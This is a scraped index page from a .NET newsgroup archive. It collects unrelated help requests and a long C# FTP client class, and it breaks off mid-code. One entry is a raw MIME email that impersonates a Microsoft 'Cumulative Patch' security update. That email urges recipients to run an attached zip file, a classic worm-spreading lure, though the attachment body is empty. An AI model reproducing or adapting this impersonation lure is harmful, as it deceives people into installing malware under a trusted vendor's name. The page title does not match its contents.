| Process CPU usage jumps to 100% without any reason? |
|
 |
Index ‹ DotNet ‹ Dotnet
|
- Previous
- 1
- Dotnet >> cannot repair, add or unsinstall dotnetHi all
i'm new here, i have a big problem during the installation of Ms Visual
Studio .Net
when i want to repair,uninstall or add a components it works but failed at
the end
the error log say :
Visual Studio .NET Professional - French: [2] ERROR_FILE_NOT_FOUND returned
in CRootComponent::Install; could not find file:
C:\WINNT\Installer\202ee613.msiI don't know what to do, i've tried to
reinstall all the components needed but it stills fails :(do you have any
idea or clue ?Thanks fo allBen
- 2
- 3
- Visual C#.Net >> Installing a font using C#Hi
I was wondering if anyone knows how to install a system font using C#?
I know it doesn´t do the trick to simply copy the font to the font
directory, it just doesn´t become active.
Any ideas?
/Johan
- 4
- Winforms >> Access and winformHello,
I have in my application a folder "/data" where I store my .mdb.
I create a connection in my winforms (app.config)
The problem it is that when I déploy my application, the program turns
over in my developpement folder to seek the .mdb and not in
"\programFiles\myApplication\data\..."
Help
--
Ceci est une signature automatique de MesNews.
Site : http://mesnews.no-ip.com
- 5
- Net Framework >> Telling where we are in the stackHi All,
I'm trying to use this to determine which method called my method. I
have two ways, but neither is quite right:
Method 1:
Sub WhereAreWe()
Dim sf As New System.Diagnostics.StackFrame(1, True)
...
End Sub
But in this code
1 Sub Test()
2 WhereAreWe()
3 WhereAreWe()
4 End Sub
the stack frame is different in each WhereAreWe call, in that the first
time it knows that the caller is on line 2 and the second it knows that
it's on line 3. I can get around this by using StackFrame.GetMethod,
but then I get a different problem:
Method 2:
1 Sub RecursionTest()
2 If ReachedBottom Then Exit Sub
3
4 WhereAreWe()
5 RecursionTest()
6 End Sub
When I do this, the WhereAreWe function has no way of telling where,
exactly, we are, because GetMethod is the same for regardless of how
many frames deep we are in the recursive call stack.
So, is there any way to tell where we are, solving both of these
problems at once? TIA.
Cheers,
Josh
- 6
- Microsoft Project >> Dragging Finish DateIn a Gantt view of my project (MSP2000), when I try to drag the Finish
date of a task, the whole task moves instead of increasing the
Duration. This happens for any task I try to change.
If I create a new task, it behaves the same until I set the Constraint
Type to As Soon As Possible. The task Start date automatically
changes to the Project Start date. Only then I can drag the finish
date to extend the duration.
In a new project file, I can drag the Finish Date as per design.
Help?
Fred
- 7
- 8
- Dotnet >> opening a frameset in an IFrameHello,
I've written a C# web application.
I'm using frameset that contains 3 frames.
when i try to open this frameset in an iframe and i try to reference other
frames from a different frame, i get an error, for example:
"'top.frames,tabs.location' is null or not an object"
how can i solve this problem?
Thanks,
Dana
- 9
- Dotnet >> Intelli-Sense How do I FIX???Anyone here having problems with intellesense just stopping?
Sometimes after compiling and running a program when I go back to the editor
and start typing all of my syntax highlighting dissapears. All of my text
goes black like a regular text document. If I rebuild the project or
projects the syntax highlighting shows up again.
Also when the text goes black all of my intelli-sense quits working as well
or only shows main methods and does not drill down to the specific methods
it should.
If I continue to program I have to type everything without intellesense and
when I do this no syntax formatting happens including brace placement etc.
Also when it is acting like this if I were to make a mistake and try doing
an undo I get an error and nothing is undone. It is like visual studio
totally loses track of everything.
Another thing I have noticed is that some of my project dates do not update
either. When I first go into visual studio it shows the projects and when
they were last updated. Some of the projects do not update the date of
when they were last worked on even though I work on them quite a bit.
In order to solve the problem temporarly I have to exit out of visual studio
and reload the project. Help this is getting very very anoying!!!!
- 10
- Net Framework >> Using a POP3 ServerHi
I want to access mails through a POP3 Server
I have some simple code taht connects, listens etc. Does anyone know if I can...
- Create inboxe
- Create folders in inboxe
- Move e-mail from one folder to the othe
- Read e-mail and manipulate attachment
....through POP3
- 11
- Dotnet >> FWD: Install that internet update--cqfldxtyjesrsw
Content-Type: multipart/related; boundary="jctijkuz";
type="multipart/alternative"
--jctijkuz
Content-Type: multipart/alternative; boundary="wnhgqrapyfv"
--wnhgqrapyfv
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft Customer
this is the latest version of security update, the
"February 2004, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an malicious user to run executable on your system.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
Copyright 2004 Microsoft Corporation.
--wnhgqrapyfv
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:vywsozz" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Customer<BR><BR>
this is the latest version of security update, the
"February 2004, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an malicious user to run executable on your system.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:syaxqym" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:syaxqym" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:syaxqym" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:syaxqym" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:syaxqym" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">You don't need to do =
anything after installing this item.</FONT></TD>
</TR>
</TABLE>
<BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Product Support Services and Knowledge Base articles
can be found on the <A HREF=3D"http://support.microsoft.com/" =
TARGET=3D"_top">Microsoft Technical Support</A> web site. =
For security-related information about Microsoft products, please =
visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top">
Microsoft Security Advisor</A> web site, =
or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" =
TARGET=3D"_top">Contact Us.</A>
<BR><BR>
Thank you for using Microsoft products.<BR><BR></FONT>
<FONT SIZE=3D"1">Please do not reply to this message. =
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.<BR></FONT>
<HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%">
<FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and =
products mentioned herein are the trademarks =
of their respective owners.</FONT>
</TD></TR></TABLE>
<BR>
<TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB">
<TR VALIGN=3D"TOP">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/=
contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>
|
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" =
TARGET=3D"_top">Legal</A>
|
<A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" =
TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A>
</FONT></B>
</TD>
</TR>
<TR VALIGN=3D"MIDDLE">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1">
©2004 Microsoft Corporation. All rights reserved.
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/cpyright.htm" TARGET=3D"_top">Terms of Use</A>
|
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/privacy.htm" TARGET=3D"_top">
Privacy Statement</A> |
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
enable/" TARGET=3D"_top">Accessibility</A>
</FONT>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
--wnhgqrapyfv--
--jctijkuz
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <vywsozz>
R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy
zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29
yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX
55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z
3EWC31mS40Zxr4uw6LXN8iZkuXmn55q97PH2/Yir1rbL5iVTh3Oj2cvX5Pv9/+/w8QF8606h62Wk
3n+dubnY9abB2c7n/83h9Nji6weK+CGJ4Vim6WyKpKWssgFyyAaV/0Km8Gyx6HW57FJxicDP2+Tt
9Pj8/wOa/wmL5wqd/w6V8heb91e5+mS9+VmLr4vD6qvc/b/j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pdWBQBV2QawrA
gpLHfQpgAA1ggiMrYJInKWxIsRhfUAU82ZMj0Iwr8AM3qY3E9ntVV3lDWSUBAQA7
--jctijkuz
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <syaxqym>
R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St
3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7
zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ
CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA
IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza
BxcFCjgwgQSJCQcWCggIADs=
--jctijkuz--
--cqfldxtyjesrsw
Content-Type: application/x-compressed; name="Qecg.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment
--cqfldxtyjesrsw--
- 12
- Dotnet >> Windows service notification iconHi,
I made a 'windows services' which works well. When I added a notificaton
icon, the icon apeared in the tray bar but when I clicked it, no events came
into my service. (I did allowed the service to intercat with the desktop).
Can you tell me why I can't receive the events?
Thank you
--
Rafi
Israel
- 13
- Visual C#.Net >> Unable to write data to the transport connection: An established connectionHello,
I'm trying to upload a file programatically and occasionally I get the
following error message.
Unable to write data to the transport connection: An established connection
was aborted by the software in your host machine.
Stack Trace
at System.Net.Sockets.NetworkStream.Write(Byte[] buffer, Int32 offset, Int32
size)
at System.Net.FtpDataStream.Write(Byte[] buffer, Int32 offset, Int32
size)
at HSMoveFiles.FTPClient.Upload(FileInfo fi, String targetFilename) in
C:\DOTNET\HSMoveFiles\FTPClient.cs:line 177
The source code for FTPClient.cs came from the following URL
http://www.codeproject.com/vb/net/FtpClient.asp
The exception is been thrown when trying to write the Stream.
rs.Write(content, 0, dataRead)
Has anyone got any Idea why this might happen and how to solve it?
Exception is caught at line number 185. Throw ex;.
Here is the source code. See line number 177.
using System.Collections.Generic;
using System;
using System.Net;
using System.IO;
using System.Runtime.Remoting.Lifetime;
using System.Text.RegularExpressions;
namespace HSMoveFiles
{
#region "FTP client class"
/// <summary>
/// A wrapper class for .NET 2.0 FTP
/// </summary>
/// <remarks>
/// This class does not hold open an FTP connection but
/// instead is stateless: for each FTP request it
/// connects, performs the request and disconnects.
/// </remarks>
public class FTPClient
{
#region "CONSTRUCTORS"
/// <summary>
/// Blank constructor
/// </summary>
/// <remarks>Hostname, username and password must be set manually</remarks>
public FTPClient()
{
}
/// <summary>
/// Constructor just taking the hostname
/// </summary>
/// <param name="Hostname">in either ftp://ftp.host.com or ftp.host.com
form</param>
/// <remarks></remarks>
public FTPClient(string Hostname)
{
_hostname = Hostname;
}
/// <summary>
/// Constructor taking hostname, username and password
/// </summary>
/// <param name="Hostname">in either ftp://ftp.host.com or ftp.host.com
form</param>
/// <param name="Username">Leave blank to use 'anonymous' but set password
to your email</param>
/// <param name="Password"></param>
/// <remarks></remarks>
public FTPClient(string Hostname, string Username, string Password)
{
_hostname = Hostname;
_username = Username;
_password = Password;
}
#endregion
#region "Directory functions"
/// <summary>
/// Return a simple directory listing
/// </summary>
/// <param name="directory">Directory to list, e.g. /pub</param>
/// <returns>A list of filenames and directories as a List(of
String)</returns>
/// <remarks>For a detailed directory listing, use
ListDirectoryDetail</remarks>
public List<string> ListDirectory(string directory)
{
//return a simple list of filenames in directory
System.Net.FtpWebRequest ftp = GetRequest(GetDirectory(directory));
//Set request to do simple list
ftp.Method = System.Net.WebRequestMethods.Ftp.ListDirectory;
string str = GetStringResponse(ftp);
//replace CRLF to CR, remove last instance
str = str.Replace("\r\n", "\r").TrimEnd('\r');
//split the string into a list
List<string> result = new List<string>();
result.AddRange(str.Split('\r'));
return result;
}
/// <summary>
/// Return a detailed directory listing
/// </summary>
/// <param name="directory">Directory to list, e.g. /pub/etc</param>
/// <returns>An FTPDirectory object</returns>
public FTPdirectory ListDirectoryDetail(string directory)
{
System.Net.FtpWebRequest ftp = GetRequest(GetDirectory(directory));
//Set request to do simple list
ftp.Method = System.Net.WebRequestMethods.Ftp.ListDirectoryDetails;
string str = GetStringResponse(ftp);
//replace CRLF to CR, remove last instance
str = str.Replace("\r\n", "\r").TrimEnd('\r');
//split the string into a list
return new FTPdirectory(str, _lastDirectory);
}
#endregion
#region "Upload: File transfer TO ftp server"
/// <summary>
/// Copy a local file to the FTP server
/// </summary>
/// <param name="localFilename">Full path of the local file</param>
/// <param name="targetFilename">Target filename, if required</param>
/// <returns></returns>
/// <remarks>If the target filename is blank, the source filename is used
/// (assumes current directory). Otherwise use a filename to specify a name
/// or a full path and filename if required.</remarks>
public bool Upload(string localFilename, string targetFilename)
{
//1. check source
if (!File.Exists(localFilename))
{
throw (new ApplicationException("File " + localFilename + " not found"));
}
//copy to FI
FileInfo fi = new FileInfo(localFilename);
return Upload(fi, targetFilename);
}
/// <summary>
/// Upload a local file to the FTP server
/// </summary>
/// <param name="fi">Source file</param>
/// <param name="targetFilename">Target filename (optional)</param>
/// <returns></returns>
public bool Upload(FileInfo fi, string targetFilename)
{
//copy the file specified to target file: target file can be full path or
just filename (uses current dir)
//1. check target
string target;
if (targetFilename.Trim() == "")
{
//Blank target: use source filename & current dir
target = this.CurrentDirectory + fi.Name;
}
else if (targetFilename.Contains("/"))
{
//If contains / treat as a full path
target = AdjustDir(targetFilename);
}
else
{
//otherwise treat as filename only, use current directory
target = CurrentDirectory + targetFilename;
}
string URI = Hostname + target;
//perform copy
System.Net.FtpWebRequest ftp = GetRequest(URI);
//Set request to upload a file in binary
ftp.Method = System.Net.WebRequestMethods.Ftp.UploadFile;
ftp.UseBinary = true;
//Notify FTP of the expected size
ftp.ContentLength = fi.Length;
//create byte array to store: ensure at least 1 byte!
int BufferSize = 2048;
byte[] content = new byte[BufferSize - 1 + 1];
int dataRead;
//open file for reading
using (FileStream fs = fi.OpenRead())
{
try
{
//open request to send
using (Stream rs = ftp.GetRequestStream())
{
do
{
dataRead = fs.Read(content, 0, BufferSize);
rs.Write(content, 0, dataRead);
} while (!(dataRead < BufferSize));
rs.Close();
}
}
catch (Exception ex)
{
throw ex;
}
finally
{
//ensure file closed
fs.Close();
ftp = null;
}
}
return true;
}
#endregion
#region "Download: File transfer FROM ftp server"
/// <summary>
/// Copy a file from FTP server to local
/// </summary>
/// <param name="sourceFilename">Target filename, if required</param>
/// <param name="localFilename">Full path of the local file</param>
/// <returns></returns>
/// <remarks>Target can be blank (use same filename), or just a filename
/// (assumes current directory) or a full path and filename</remarks>
public bool Download(string sourceFilename, string localFilename, bool
PermitOverwrite)
{
//2. determine target file
FileInfo fi = new FileInfo(localFilename);
return this.Download(sourceFilename, fi, PermitOverwrite);
}
//Version taking an FtpFileInfo
public bool Download(FTPfileInfo file, string localFilename, bool
PermitOverwrite)
{
return this.Download(file.FullName, localFilename, PermitOverwrite);
}
//Another version taking FtpFileInfo and FileInfo
public bool Download(FTPfileInfo file, FileInfo localFI, bool
PermitOverwrite)
{
return this.Download(file.FullName, localFI, PermitOverwrite);
}
//Version taking string/FileInfo
public bool Download(string sourceFilename, FileInfo targetFI, bool
PermitOverwrite)
{
//1. check target
if (targetFI.Exists && !(PermitOverwrite))
{
throw (new ApplicationException("Target file already exists"));
}
//2. check source
string target;
if (sourceFilename.Trim() == "")
{
throw (new ApplicationException("File not specified"));
}
else if (sourceFilename.Contains("/"))
{
//treat as a full path
target = AdjustDir(sourceFilename);
}
else
{
//treat as filename only, use current directory
target = CurrentDirectory + sourceFilename;
}
string URI = Hostname + target;
//3. perform copy
System.Net.FtpWebRequest ftp = GetRequest(URI);
//Set request to download a file in binary mode
ftp.Method = System.Net.WebRequestMethods.Ftp.DownloadFile;
ftp.UseBinary = true;
//open request and get response stream
using (FtpWebResponse response = (FtpWebResponse)ftp.GetResponse())
{
using (Stream responseStream = response.GetResponseStream())
{
//loop to read & write to file
using (FileStream fs = targetFI.OpenWrite())
{
try
{
byte[] buffer = new byte[2048];
int read = 0;
do
{
read = responseStream.Read(buffer, 0, buffer.Length);
fs.Write(buffer, 0, read);
} while (!(read == 0));
responseStream.Close();
fs.Flush();
fs.Close();
}
catch (Exception)
{
//catch error and delete file only partially downloaded
fs.Close();
//delete target file as it's incomplete
targetFI.Delete();
throw;
}
}
responseStream.Close();
}
response.Close();
}
return true;
}
#endregion
#region "Other functions: Delete rename etc."
/// <summary>
/// Delete remote file
/// </summary>
/// <param name="filename">filename or full path</param>
/// <returns></returns>
/// <remarks></remarks>
public bool FtpDelete(string filename)
{
//Determine if file or full path
string URI = this.Hostname + GetFullPath(filename);
System.Net.FtpWebRequest ftp = GetRequest(URI);
//Set request to delete
ftp.Method = System.Net.WebRequestMethods.Ftp.DeleteFile;
try
{
//get response but ignore it
string str = GetStringResponse(ftp);
}
catch (Exception)
{
return false;
}
return true;
}
/// <summary>
/// Determine if file exists on remote FTP site
/// </summary>
/// <param name="filename">Filename (for current dir) or full path</param>
/// <returns></returns>
/// <remarks>Note this only works for files</remarks>
public bool FtpFileExists(string filename)
{
//Try to obtain filesize: if we get error msg containing "550"
//the file does not exist
try
{
long size = GetFileSize(filename);
return true;
}
catch (Exception ex)
{
//only handle expected not-found exception
if (ex is System.Net.WebException)
{
//file does not exist/no rights error = 550
if (ex.Message.Contains("550"))
{
//clear
return false;
}
else
{
throw;
}
}
else
{
throw;
}
}
}
/// <summary>
/// Determine size of remote file
/// </summary>
/// <param name="filename"></param>
/// <returns></returns>
/// <remarks>Throws an exception if file does not exist</remarks>
public long GetFileSize(string filename)
{
string path;
if (filename.Contains("/"))
{
path = AdjustDir(filename);
}
else
{
path = this.CurrentDirectory + filename;
}
string URI = this.Hostname + path;
System.Net.FtpWebRequest ftp = GetRequest(URI);
//Try to get info on file/dir?
ftp.Method = System.Net.WebRequestMethods.Ftp.GetFileSize;
string tmp = this.GetStringResponse(ftp);
return GetSize(ftp);
}
public bool FtpRename(string sourceFilename, string newName)
{
//Does file exist?
string source = GetFullPath(sourceFilename);
if (!FtpFileExists(source))
{
throw (new FileNotFoundException("File " + source + " not found"));
}
//build target name, ensure it does not exist
string target = GetFullPath(newName);
if (target == source)
{
throw (new ApplicationException("Source and target are the same"));
}
else if (FtpFileExists(target))
{
throw (new ApplicationException("Target file " + target + " already
exists"));
}
//perform rename
string URI = this.Hostname + source;
System.Net.FtpWebRequest ftp = GetRequest(URI);
//Set request to delete
ftp.Method = System.Net.WebRequestMethods.Ftp.Rename;
ftp.RenameTo = target;
try
{
//get response but ignore it
string str = GetStringResponse(ftp);
}
catch (Exception)
{
return false;
}
return true;
}
public bool FtpCreateDirectory(string dirpath)
{
//perform create
string URI = this.Hostname + AdjustDir(dirpath);
System.Net.FtpWebRequest ftp = GetRequest(URI);
//Set request to MkDir
ftp.Method = System.Net.WebRequestMethods.Ftp.MakeDirectory;
try
{
//get response but ignore it
string str = GetStringResponse(ftp);
}
catch (Exception)
{
return false;
}
return true;
}
public bool FtpDeleteDirectory(string dirpath)
{
//perform remove
string URI = this.Hostname + AdjustDir(dirpath);
System.Net.FtpWebRequest ftp = GetRequest(URI);
//Set request to RmDir
ftp.Method = System.Net.WebRequestMethods.Ftp.RemoveDirectory;
try
{
//get response but ignore it
string str = GetStringResponse(ftp);
}
catch (Exception)
{
return false;
}
return true;
}
#endregion
#region "private supporting fns"
//Get the basic FtpWebRequest object with the
//common settings and security
private FtpWebRequest GetRequest(string URI)
{
//create request
FtpWebRequest result = (FtpWebRequest)FtpWebRequest.Create(URI);
//Set the login details
result.Credentials = GetCredentials();
//Do not keep alive (stateless mode)
result.KeepAlive = true;
return result;
}
/// <summary>
/// Get the credentials from username/password
/// </summary>
private System.Net.ICredentials GetCredentials()
{
return new System.Net.NetworkCredential(Username, Password);
}
/// <summary>
/// returns a full path using CurrentDirectory for a relative file reference
/// </summary>
private string GetFullPath(string file)
{
if (file.Contains("/"))
{
return AdjustDir(file);
}
else
{
return this.CurrentDirectory + file;
}
}
/// <summary>
/// Amend an FTP path so that it always starts with /
/// </summary>
/// <param name="path">Path to adjust</param>
/// <returns></returns>
/// <remarks></remarks>
private string AdjustDir(string path)
{
return ((path.StartsWith("/")) ? "" : "/").ToString() + path;
}
private string GetDirectory(string directory)
{
string URI;
if (directory == "")
{
//build from current
URI = Hostname + this.CurrentDirectory;
_lastDirectory = this.CurrentDirectory;
}
else
{
if (!directory.StartsWith("/"))
{
throw (new ApplicationException("Directory should start with /"));
}
URI = this.Hostname + directory;
_lastDirectory = directory;
}
return URI;
}
//stores last retrieved/set directory
private string _lastDirectory = "";
/// <summary>
/// Obtains a response stream as a string
/// </summary>
/// <param name="ftp">current FTP request</param>
/// <returns>String containing response</returns>
/// <remarks>FTP servers typically return strings with CR and
/// not CRLF. Use respons.Replace(vbCR, vbCRLF) to convert
/// to an MSDOS string</remarks>
private string GetStringResponse(FtpWebRequest ftp)
{
//Get the result, streaming to a string
string result = "";
using (FtpWebResponse response = (FtpWebResponse)ftp.GetResponse())
{
long size = response.ContentLength;
using (Stream datastream = response.GetResponseStream())
{
using (StreamReader sr = new StreamReader(datastream))
{
result = sr.ReadToEnd();
sr.Close();
}
datastream.Close();
}
response.Close();
}
return result;
}
/// <summary>
/// Gets the size of an FTP request
/// </summary>
/// <param name="ftp"></param>
/// <returns></returns>
/// <remarks></remarks>
private long GetSize(FtpWebRequest ftp)
{
long size;
using (FtpWebResponse response = (FtpWebResponse)ftp.GetResponse())
{
size = response.ContentLength;
response.Close();
}
return size;
}
#endregion
#region "Properties"
private string _hostname;
/// <summary>
/// Hostname
/// </summary>
/// <value></value>
/// <remarks>Hostname can be in either the full URL format
/// ftp://ftp.myhost.com or just ftp.myhost.com
/// </remarks>
public string Hostname
{
get
{
if (_hostname.StartsWith("ftp://"))
{
return _hostname;
}
else
{
return "ftp://" + _hostname;
}
}
set
{
_hostname = value;
}
}
private string _username;
/// <summary>
/// Username property
/// </summary>
/// <value></value>
/// <remarks>Can be left blank, in which case 'anonymous' is
returned</remarks>
public string Username
{
get
{
return (_username == "" ? "anonymous" : _username);
}
set
{
_username = value;
}
}
private string _password;
public string Password
{
get
{
return _password;
}
set
{
_password = value;
}
}
/// <summary>
/// The CurrentDirectory value
/// </summary>
/// <remarks>Defaults to the root '/'</remarks>
private string _currentDirectory = "/";
public string CurrentDirectory
{
get
{
//return directory, ensure it ends with /
return _currentDirectory + ((_currentDirectory.EndsWith("/")) ? "" :
"/").ToString();
}
set
{
if (!value.StartsWith("/"))
{
throw (new ApplicationException("Directory should start with /"));
}
_currentDirectory = value;
}
}
#endregion
}
#endregion
#region "FTP file info class"
/// <summary>
/// Represents a file or directory entry from an FTP listing
/// </summary>
/// <remarks>
/// This class is used to parse the results from a detailed
/// directory list from FTP. It supports most formats of
/// </remarks>
public class FTPfileInfo
{
//Stores extended info about FTP file
#region "Properties"
public string FullName
{
get
{
return Path + Filename;
}
}
public string Filename
{
get
{
return _filename;
}
}
public string Path
{
get
{
return _path;
}
}
public DirectoryEntryTypes FileType
{
get
{
return _fileType;
}
}
public long Size
{
get
{
return _size;
}
}
public DateTime FileDateTime
{
get
{
return _fileDateTime;
}
}
public string Permission
{
get
{
return _permission;
}
}
public string Extension
{
get
{
int i = this.Filename.LastIndexOf(".");
if (i >= 0 && i < (this.Filename.Length - 1))
{
return this.Filename.Substring(i + 1);
}
else
{
return "";
}
}
}
public string NameOnly
{
get
{
int i = this.Filename.LastIndexOf(".");
if (i > 0)
{
return this.Filename.Substring(0, i);
}
else
{
return this.Filename;
}
}
}
private string _filename;
private string _path;
private DirectoryEntryTypes _fileType;
private long _size;
private DateTime _fileDateTime;
private string _permission;
#endregion
/// <summary>
/// Identifies entry as either File or Directory
/// </summary>
public enum DirectoryEntryTypes
{
File,
Directory
}
/// <summary>
/// Constructor taking a directory listing line and path
/// </summary>
/// <param name="line">The line returned from the detailed directory
list</param>
/// <param name="path">Path of the directory</param>
/// <remarks></remarks>
public FTPfileInfo(string line, string path)
{
//parse line
Match m = GetMatchingRegex(line);
if (m == null)
{
//failed
throw (new ApplicationException("Unable to parse line: " + line));
}
else
{
_filename = m.Groups["name"].Value;
_path = path;
Int64.TryParse(m.Groups["size"].Value, out _size);
//_size = System.Convert.ToInt32(m.Groups["size"].Value);
_permission = m.Groups["permission"].Value;
string _dir = m.Groups["dir"].Value;
if (_dir != "" && _dir != "-")
{
_fileType = DirectoryEntryTypes.Directory;
}
else
{
_fileType = DirectoryEntryTypes.File;
}
try
{
_fileDateTime = DateTime.Parse(m.Groups["timestamp"].Value);
}
catch (Exception)
{
_fileDateTime = Convert.ToDateTime(null);
}
}
}
private Match GetMatchingRegex(string line)
{
Regex rx;
Match m;
for (int i = 0; i <= _ParseFormats.Length - 1; i++)
{
rx = new Regex(_ParseFormats[i]);
m = rx.Match(line);
if (m.Success)
{
return m;
}
}
return null;
}
#region "Regular expressions for parsing LIST results"
/// <summary>
/// List of REGEX formats for different FTP server listing formats
/// </summary>
/// <remarks>
/// The first three are various UNIX/LINUX formats, fourth is for MS FTP
/// in detailed mode and the last for MS FTP in 'DOS' mode.
/// I wish VB.NET had support for Const arrays like C# but there you go
/// </remarks>
